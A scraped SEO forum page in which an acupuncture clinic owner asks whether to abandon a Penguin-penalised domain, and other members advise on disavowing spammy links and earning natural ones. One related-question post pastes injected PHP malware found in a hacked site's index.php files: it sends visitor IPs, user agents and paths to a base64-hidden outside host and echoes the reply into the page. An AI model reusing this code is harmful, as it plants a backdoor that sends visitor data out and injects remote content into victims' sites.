Starting fresh on a new url after serious Penguin update down rank
-
Hi friends
My site www.acupunctureclinicvictoriabc.com was recently hit by the penguin update and i dropped to page 5 of local searchs for my key words. A while back I had some bad link building done and now paying for it:(
I thought the disavow tool (used 4 months ago) would deal with this issue but apparently not
The current url is feeling like a lost cause.
My question is if I start fresh on a new url, can I use my old content (or even clone the site and move it to a new url) without being punished for duplicate content on the new site?
Any recommendations for starting fresh?
I really appreciate any thoughts on this matter, as I am feeling a bit lost and bummed about this issue
thanks!
-
That is encouraging for me, thanks Vanja. Ill get busy on the content end of things
even with the hit I still seem to be getting some inquiries,
all the best
Silas
-
Since I've been a webmaster at several sites, some of them got hit by spammy links. Not going into why and how, the simple solution was always content for us! Getting a good article on why is acupuncture great, getting an article about real life help scenarios, you know, anything and everything an average reader would like to know about your service. If you provide a helpful article, it will get shared on other sites and blogs, social media and get the healthy link number up in a certain period of time. There are sites with 400-500 spammy domains pointing to them, but they aren't affected. Bear that in mind.
-
Hi Vanja
yes I think i have learned my lesson from this experience
I am still confused on how to get natural links, I do have some good content but this is a topic I will have research more
thanks for your thoughts
Silas
-
My idea is always do one thirds of everything - one third of time to contact spammy website owners to remove them, one third to have a fresh list of disavowed links and one third of building quality, healthy and great links through user help, great content, excellent services and such. Third part is the most important! I've seen from some cases on the web where websites had 300-400 spammy link domains pointing to them, algorithm penalty, rankings dropped, website owners and webmasters taking a complete turn in content creation, service creation, where the sites recovered and ranked on top pages for several keywords later on.
My thoughts are always make a website for human beings and provide a useful product, service, article, idea or whatnot. It will then help a great deal to make a website which garners tons of healthy and natural links since people find your site helpful and amazing. Nothing else is needed.
A link portfolio of a few hundred spammy links is what most sites come with these days. Unfortunately how ever Google and a ton of experts say negative link building is not that common, it really does get around in some highly competitive niches. Google has released the disavow tool just for that and it should definitely be used if you experience problems.
But bear in mind, Google devalues some spammy links with their ongoing daily procedures. When a website has 10-20 healthy links and 100-200 spammy ones which get devalued, rankings drop. Not just because there's a penalty, but because there simply aren't that much high quality links to start with.
Hope it clears it up somewhat. Thanks!
-
Thanks Vanja
yes I think you are right about letting cooler heads prevail
Do you think that I need to hunt down those bad links or will google forgive my sins over time?
I am not clear wither bad links put you on a permanent s$#t list
cheers
Silas
-
Well first ask yourself this question: Are the links leftover after disavow tool was put to use quality ones? I mean, people always say their disavow tool hadn't worked and they haven't fully recovered. It is almost always the issue of the leftover links not posing any relevance to move you up in rankings. Nothing more.
Honestly I wouldn't scrape that site by any means. Your PageRank 3 is still good, means you do have some good links coming to your site and doing rash decisions just a short time have passed after a major algorithm change is never a good thing to do. This means your rankings may improve later on when all things settle down.
But the biggest question still stands. Are you having a good amount of high-quality and healthy links, natural links, pointing to various aspects of your website? Or are you now leftover with just a few good links when you disavowed all the bad ones? Thanks!
-
HI Alan
thanks for your post and sorry for the false url - it is actually - www.acupunctureclinicvictoriabc.ca
In regards to content, I definitely made mistakes with key word stuffing in the past, but thought I had corrected this issue
based on the reports from SEOmoz
Grade A for on page and 31 for site authority
I did get 29 crawl errors (most due to duplicate content) and 91 crawl warnings (related to missing meta descriptions)
The issue seems to be with the bad links. There are currently 141 pointing to the site, I disavowed a bunch already
Based on me fixing the issues mentioned an focusing on natural link building from here on in I might recover over time?many thanks!Silas
-
First of all, that web address is not working so there's no way for anyone here who might have guidance, to be able to review anything.
Beyond that, if you're in a worst case situation, and you absolutely believe a new domain name is called for, yes, you can migrate the content of the old site over. However if you perform "301" redirects from the old site to the new site, some people have made anecdotal claims that doing so carries the bad link signals.
In that scenario, when the new site launches, the old site needs to be blocked from indexation to prevent duplicate content issues.
The other major issue I have found is sites are more likely to take a major hit for any high level flawed SEO if other aspects of SEO are also severely flawed. So for example, if the site was already weak on-site or over-optimized up to the edge of acceptability on-site, that site is more likely to have been nailed in a Penguin type update.
So that then begs the question - is the content you want to retain truly high quality and strong enough outside of the off-site signals? From topical focus to topical depth to internal linking methods and so on...
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Do you see sites with unfixable Penguin penalties?
Hello, We have a site with 2 Penguin update penalties (drops in traffic) and one quality penalty (another drop in traffic) all years ago, both just drops in rankings and not messages in Google Console. Now that Penguin is hard coded, do you find that some sites never recover even with a beautiful disavow and cleanup? We've added content and still have some quality errors, though I thought they were minor. This client used to have doorway sites and paid links, but now is squeaky clean with a disavow done a month ago though most of the cleanup was done by deletion of the doorways and paid links 9 months ago. Is this a quality problem or is our site permanently gone? Let me know what information you need. Looking for people with a lot of experience with other sites and Penguin. Thanks.
White Hat / Black Hat SEO | | BobGW2 -
Still seeing a terrible rank drop after last algo update?!
I'm still stumped as to why the ranking has gone so poor on a whitehat site. (see attached image) As you can see we've steadily been improving the ranking over the last 6+ months and then got hit with a massive change this month... I can't physically see any issues and Moz isn't reporting anything negatively that would have such a major effect.. Like not as if the drops were subtle... they've all gone into the 50+ section! Any insights into what may have changed in the latest algo update would be appreciated?! S0sD7d8.png
White Hat / Black Hat SEO | | snowflake740 -
Link profile heavy with press release syndication links caused drop at Penguin 2.0
I'm wrestling with something that I'm hoping members of the community can provide input on.... I've working with an enterprise level client that is in the business of data capture and distribution. I've diagnosed a clear drop of traffic on May 22nd, i.e a loss of search visibility post Penguin 2.0. Their link profile is big! Discussions with internal stakeholders who have been with the company 10's of years confirm that no "link building" service providers have ever been hired and no over-zealous employee is ever likely to have tried to "do" link building internally. They are just one of those lucky companies that by their nature publish information that people want to link to and share. As a first port of call I've grouped links by anchor text and can see groups of hundreds of matching anchors based on their brand URL and specific page titles. The matching anchors have resulted from big take up of interesting data that they have marketed via press releases. NOT for link purposes. My question is this.... Does the community think or have evidence (or can point me toward any case studies) that show that Press release syndication alone could result in: a) a penguin penalty or...
White Hat / Black Hat SEO | | QubaSEO
b) a devaluing of press release type links during Penguin 2.0 that could have resulted in a loss of search visibility and give the impression of a penalty Your thoughts are much appreciated!0 -
Inbound Links Inquiry for a New Site
For a site that is only one to two months old, what is considered a natural amount of inbound links if you're site offers very valuable information, and you have done a marketing push to get the word out about your blog? Even if you are receiving backlinks from authority websites with high DA, does Google get suspicious if there are too many inbound links during the first few months of a sites existence? I know there are some sites that blow up very fast and receive thousands of backlinks very quickly, so I'm curious to know if Google puts these kind of sites on a watchlist or something of that nature. Or is this simply a good problem to have?
White Hat / Black Hat SEO | | WebServiceConsulting.com0 -
Google says 404s don't cause ranking drops, but what about a lot of them
Hello, According to Google here, 404s don't cause rankings to go down. Our rankings are going down and we have about 50 or so 404s (though some may have been deindexed by now). We have about 300 main products and 9000 pages in general on this Ecommerce site. There's no link equity gained by 301 redirecting the 404s. A custom 404 page has been made linking to the home page. There's nothing linking to the pages that are 404s Provided that no more 404s are created, can I just ignore them and find the real reason our rankings are going down?
White Hat / Black Hat SEO | | BobGW0 -
Help needed i have lost huge rankings
help needed guys, i run a website http://www.happyhop.co.za they sell jumping castles, and thats it, i have worked on this site for the last 3 years and its been preforming very well, after the 2.0 penguin update I lost huge rankings was 1 in google for jumping castles now on page 10... I went onto webmaster tools reviewed Manual Actions got this (No manual webspam actions found.) then reviewed my links, ran them through http://www.penguinanalysis.com and my score came back at 125% which is high, but then ran a competitor who is ranking number 1 and they are at 145%... i have now disavowed a few bad links, and have removed alt tags on my blog http://www.happyhop.co.za/News-and-Articles .... the articles I write are not bloggy and are informative. I then sent Google a manual reconsideration request, but havent heard back from them? Still nothing has changed and its been over 3 weeks. Can anyone help me.
White Hat / Black Hat SEO | | nick_pageone0 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
Rankings dropped, should I start a new website?
Hello, my rankings dropped last year (penguin update) - I think it was April 2012 and the website went from 300 visitors per day to 10 per day. This probably happened because I bought links, but I also did a lot of manual and natural SEO (at that time). After the drop, I didn't know what to do... so I did some manual SEO, blog comments, forum posts, article publications (lets say 60 links in total - with diverse anchor texts - brand keywords, etc) and then I paused working on the site to see if there will be any changes... and 1 year latter, there are still no changes. My site used to be in the top results of the first page and now it is totally out of Google. http://getmoreyoutubeviews.com Should I move on and start a new website or do something to fix this one? Thanks Alex
White Hat / Black Hat SEO | | buysocialexposure0